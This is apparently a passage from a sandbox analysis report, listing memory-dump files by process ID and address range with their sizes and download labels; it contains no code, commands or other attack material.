memory/3700-1165-0x0000000003270000-0x0000000003271000-memory.dmp

Filesize
4KB

Download
memory/3700-984-0x0000000003270000-0x0000000003271000-memory.dmp

Filesize
4KB

Download
memory/3700-1216-0x0000000003CF0000-0x0000000003CF1000-memory.dmp

Filesize
4KB

Download
memory/3700-1203-0x0000000003B60000-0x0000000003B61000-memory.dmp

Filesize
4KB

Download
memory/3700-980-0x00007FFCAECC0000-0x00007FFCAECC2000-memory.dmp

Filesize
8KB

Download
memory/4276-145-0x000002D6FAAE0000-0x000002D6FAAF0000-memory.dmp

Filesize
64KB

Download
memory/4276-148-0x000002D6FAAE0000-0x000002D6FAAF0000-memory.dmp

Filesize
64KB

Download
memory/4276-129-0x000002D6FB500000-0x000002D6FB576000-memory.dmp

Filesize
472KB

Download
memory/4276-126-0x000002D6FAAB0000-0x000002D6FAAD2000-memory.dmp

Filesize
136KB

Download
memory/4276-217-0x000002D6FC2E0000-0x000002D6FCA86000-memory.dmp

Filesize
7.6MB

Download
memory/4276-150-0x000002D6FAAE0000-0x000002D6FAAF0000-memory.dmp

Filesize
64KB

Download
memory/4276-144-0x000002D6FAAE0000-0x000002D6FAAF0000-memory.dmp

Filesize
64KB

Download
memory/4276-149-0x000002D6FAAE0000-0x000002D6FAAF0000-memory.dmp

Filesize
64KB

Download
memory/4276-147-0x000002D6FAAE0000-0x000002D6FAAF0000-memory.dmp

Filesize
64KB

Download
memory/4340-1166-0x0000000002FD0000-0x0000000002FD1000-memory.dmp

Filesize
4KB

Download
memory/4340-1150-0x0000000002FA0000-0x0000000002FA1000-memory.dmp

Filesize
4KB

Download
memory/4340-1151-0x0000000000400000-0x0000000001F0F000-memory.dmp

Filesize
27.1MB

Download
memory/4340-1192-0x0000000002FD0000-0x0000000002FD1000-memory.dmp

Filesize
4KB

Download
memory/4740-1193-0x0000000002FA0000-0x0000000002FA1000-memory.dmp

Filesize
4KB

Download
memory/4740-1191-0x0000000002FA0000-0x0000000002FA1000-memory.dmp

Filesize
4KB

Download
memory/4740-1187-0x0000000000400000-0x0000000001F0F000-memory.dmp

Filesize
27.1MB

Download
memory/4740-1186-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4860-306-0x000002CA2D800000-0x000002CA2D810000-memory.dmp

Filesize
64KB

Download
memory/4860-283-0x000002CA2D800000-0x000002CA2D810000-memory.dmp

Filesize
64KB

Download
memory/4860-281-0x000002CA2D800000-0x000002CA2D810000-memory.dmp

Filesize
64KB

Download